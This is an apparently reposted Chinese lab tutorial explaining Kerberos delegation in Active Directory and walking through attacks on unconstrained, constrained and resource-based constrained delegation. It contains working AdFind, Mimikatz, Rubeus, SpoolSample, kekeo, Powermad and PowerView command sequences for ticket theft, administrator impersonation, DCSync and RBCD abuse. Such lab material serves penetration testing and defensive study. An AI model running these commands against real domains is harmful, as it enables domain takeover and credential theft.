委派基本分成三种,非约束委派、约束委派、基于资源的约束委派。
Windows 2000 中的 Active Directory 引入了非约束委托,它有一个缺点就是允许服务向任何其他服务请求票据,于是在Windows Server 2003 中提供的约束委派和 Windows Server 2012中提供的基于资源的约束委派都改进了 Kerberos 委派的安全性。
比如client是会员想要买火车票,火车票只能现场买,所以需要很早去排队,但是client没有时间,client就找到一个有时间并且可以帮client买票的中间商,client把自己的信息给中间商,然后中间商提前帮client排队,排到了之后中间商就把client的会员信息给火车站,火车站就会给出一个以client会员身份的票,然后再将票给client。之后中间商就可以随意使用client会员的身份去买票。
简单来说委派就是服务以用户的名义去请求另一个服务。使应用程序能够访问托管在不同服务器上的资源。
账号必须设置servicePrincipalName字段才能配置委派,也就是说要为用户配置SPN,配置了SPN后用户就成为了服务用户,所以说委派只有服务账号才能使用。
机器用户都配置了SPN
普通用户是没有servicePrincipalName字段的
并且普通用户是没有委派选项的
我们将其添加SPN才会出现委派选项
如果我们想要设置委派,则可以使用下图来设置
如果service设置了非约束委派,那么如果user为域内的域管用户,user向service进行请求时,service就会将user的TGT保存在内存中,之后service就可以利用user的TGT去访问域内任意服务,代表了service就具有了user的高权限。
微软把概述写的很清楚了,大家感兴趣可以去看一下。
https://docs.microsoft.com/en-us/openspecs/windows_protocols/ms-sfu/1fb9caca-449f-4183-8f7a-1a5fc7e7290a
非约束委派机器:[email protected]
发现非约束委派机器并获取到账号密码后才能利用
配置非约束委派选择“信任此计算机来委派任何服务“勾选,则成功设置非约束委派
设置非约束委派后,对象的userAccountControl 属性会更新为包含“TRUSTED_FOR_DELEGATION”标志
1、使用Adfind查询域内非约束委派机器
AdFind.exe -b "DC=wjlab3,DC=com" -f "(&(samAccountType=805306369)(userAccountControl:1.2.840.113556.1.4.803:=524288))" cn distinguishedName
2、使用域控请求非约束委派机器168.192.135,我们使用机器名进行请求,因为Kerberos默认是不走ip走机器名的,所以如果想要使用Kerberos协议就要用机器名去访问,这也是我们做了个金票但是使用ip不好用的原因。
3、使用Mimikatz将TGT提取出来
privilege::debug
sekurlsa::tickets /export
4、将这个票导入则能访问域控,没导入之前请求时拒绝访问
将这个票导入
kerberos::ptt [0;11839d5][email protected]
如果我们在域控用ip去进行访问时,在内存中是没有用户的票的,所以使用ip请求是不走kerberos协议。
内存中只有自己的而没有域控请求administrator的票。
当我们获得一台非约束委派机器后,只能等管理员来请求我们的话还是很鸡肋的。这时我们可以利用打印机的bug让机器主动来请求我们,这样就可以得到机器的TGT了。不光是打印机的bug其他的可以让机器请求的bug都可以利用。
1、在192.168.192.134中监听,需要管理员权限启动rubeus进行监听
rubeus.exe monitor /interval:5 /filteruser:WIN-Q4E825O0UIA$
2、使用SpoolSample进行强制请求,虽然显示错误但也可以强制请求过来
收到的TGT
3、之后将TGT导入,则可以使用DCSYNC将域内hash导出
其中S4U协议有两个子协议,SU42self和S4U2proxy。SU42self在TGS_REQ可以代表自身进行请求。S4U2proxy允许服务以用户的名义请求其他service,约束委派就是限制了允许S4U2proxy请求的服务。
用户发送一个 TGS 访问 “service A”,如果允许该服设置委派给另一个“service B”,那么service A 可以拿着用户的票使用S4U2proxy协议去请求DC,DC返回用户信息的票给service A,之后service A拿着票去请求service B,并将service B的返回值发送给service A。
微软把概述写的很清楚了,大家感兴趣可以去看一下。
https://docs.microsoft.com/en-us/openspecs/windows_protocols/ms-sfu/1fb9caca-449f-4183-8f7a-1a5fc7e7290a
目标域控:
192.168.192.133 [email protected]
攻击机器:192.168.192.135
配置用户到域控的约束委派:qq
当我们设置用户qq为约束委派,那么首先需要给用户qq设置SPN,并配置约束委派到我们的目标域控机器
设置约束委派后,对象的userAccountControl 属性会更新为包含“TRUSTED_TO_AUTHENTICATE_FOR_DELEGATION”标志
比非约束委派的账户多了”msDS-AllowedToDelegateTo”字段,包含了允许委派的服务
我们利用qq这个设置委派的用户进行请求,抓包可以看到请求做了两个TGS_REQ,我们详细看一下其中做了什么东西
AS-REQ
AS-REP
TGS-REQ-1
TGS-REP-1
TGS-REQ-2
TGS-REP-2
目标域控:192.168.192.133 [email protected]
攻击机器:192.168.192.135
配置用户到域控的约束委派:qq
利用前提是要获取配置委派的用户账号密码或者hash
1、使用ADfind查找域内配置约束委派的用户
AdFind.exe -b "DC=wjlab3,DC=com" -f "(&(samAccountType=805306368)(msds-allowedtodelegateto=*))" cn distinguishedName msds-allowedtodelegateto
2、使用kekeo请求服务的TGT,获得TGT。如果只知道hash也可以进行请求TGT
tgt::ask /user:qq /domain:wjlab3.com /password:[email protected]#
3、用户拿着之前请求的TGT,使用S4U协议并伪造administrator身份访问服务。
tgs::s4u /tgt:[email protected][email protected] /user:[email protected] /service:cifs/WIN-Q4E825O0UIA.wjlab3.com
我们看到获取两张ST,这两张ST一张是qq服务的,另一张是cifs/WIN-Q4E825O0UIA.wjlab3.com服务的。
4、使用mimikatz将票据导入即可访问cifs/WIN-Q4E825O0UIA.wjlab3.com服务
kerberos::ptt [email protected]@[email protected]
那么我们想一下,既然约束委派是通过服务进行又一次转发,那么我们如果不用用户的服务,而使用机器的服务还能成功吗?
当我们获取到配置委派的机器用户的hash后开始尝试
目标域控:192.168.192.133 [email protected]
攻击机器:192.168.192.135
配置用户到域控的约束委派:wjlab3-win7
首先将wjlab3-win7这台计算机设置约束委派
1、使用ADfind查找域内配置约束委派的机器
AdFind.exe -b "DC=wjlab3DC=com" -f "(&(samAccountType=805306369)(msds-allowedtodelegateto=*))" cn distinguishedName msds-allowedtodelegateto
2、使用获取到的机器用户的hash进行请求
tgt::ask /user:qq /domain:wjlab3.com /password:[email protected]#
3、用户拿着之前请求的TGT,使用S4U协议并伪造administrator身份访问服务。
tgs::s4u /tgt:[email protected][email protected] /user:[email protected] /service:cifs/WIN-Q4E825O0UIA.wjlab3.com
4、使用mimikatz将票据导入即可访问cifs/WIN-Q4E825O0UIA.wjlab3.com服务
使用服务做中转请求都是可以的,但是配置约束委派的是需要域管,我们更改不了,所以使用的话只能看域控中是否配置,利用限制还是比较高的。
因为基于资源的约束委派(RBCD)是windows server 2012中才加入的,所以只有2012以上的域控中才有基于资源的约束委派。
基于资源的约束委派其实跟约束委派原理差不多,只不过基于资源的约束委派不需要与管理员权限进行配置。其中msDS-AllowedToActOnBehalfOfOtherIdentity 属性比较重要,设置此属性的意思是允许哪个sid来对我进行委派。
这样我们只要可以修改msDS-AllowedToActOnBehalfOfOtherIdentity 属性的值,来设置允许谁对我进行委派就可以了,我们发现除了域管外,将我们机器加到域内的用户具有修改msDS-AllowedToActOnBehalfOfOtherIdentity 属性的权限
这里输入的账号密码就是,将机器加到域内的用户密码
那么我们要使用基于资源的约束委派需要什么条件?
1、域控是windows server 2012及以上的系统。
2、需要一个可以修改msDS-AllowedToActOnBehalfOfOtherIdentity 属性的用户(也就是将我们加入域内用户的账号密码)。
3、拥有一个机器账户(域内每个用户都可以创建10个机器用户)。
域控:192.168.190.46 WIN-KQH5FQSIJSH.wanliu1.com
域内机器:192.168.190.121 DESKTOP-DO7D913.wanliu1.com
qt加入到的域内,拥有qt的账号密码。
我们可以看到其实跟约束委派一样,都是做了3次请求,我们来看一下这几次请求跟响应都做了什么。
AS-REQ
以创建的wjlab$机器用户向kebtgt服务进行请求
AS-REP
TGS-REQ-1
TGS-REP-1
TGS-REQ-2
TGS-REP-2
域控:192.168.190.46 WIN-KQH5FQSIJSH.wanliu1.com
域内机器:192.168.190.121 DESKTOP-DO7D913.wanliu1.com qt加入到的域内
拥有qt的账号密码
1、使用ADFind查询域内的主机是被哪个用户加入的
AdFind.exe -h 192.168.190.46 -u lm -up 123456 -b "DC=wanliu1,DC=com" -f "objectClass=computer" mS-DS-CreatorSID
查询sid为qt用户
2、使用Powermad创建一个域机器名为wjlab,密码为wjlab123
New-MachineAccount -MachineAccount wjlab -Password $(ConvertTo-SecureString "wjlab123" -AsPlainText -Force)
3、使用powerview查询我们加入域wjlab的sid
Get-DomainComputer -Identity wjlab
4、使用powerview设置wjlab到DESKTOP-DO7D913的基于资源的约束委派
$SD = New-Object Security.AccessControl.RawSecurityDescriptor -ArgumentList "O:BAD:(A;;CCDCLCSWRPWPDTLOCRSDRCWDWO;;;S-1-5-21-3163795713-59934753-1752793692-1609)"
$SDBytes = New-Object byte[] ($SD.BinaryLength)
$SD.GetBinaryForm($SDBytes, 0)
Get-DomainComputer DESKTOP-AO8D722| Set-DomainObject -Set @{'msds-allowedtoactonbehalfofotheridentity'=$SDBytes} -Verbose
msDS-AllowedToActOnBehalfOfOtherIdentity属性修改为允许委派的sid
5、获取rc4密钥
Rubeus.exe hash /user:wjlab /password:wjlab123 /domain:wanliu1.com
6、导入票据
注:如果mdsspn这里填写DESKTOP-AO8D722.wanliu1.com访问需要dir \DESKTOP-AO8D722.wanliu1.com\c$ ,如果只访问DESKTOP-AO8D722会拒绝访问
如果反过来mdsspn这里填写DESKTOP-AO8D722,如果访问DESKTOP-AO8D722.wanliu1.com则会拒绝访问
侵权请私聊公众号删文
热文推荐
欢迎关注LemonSec
觉得不错点个“赞”、“在看”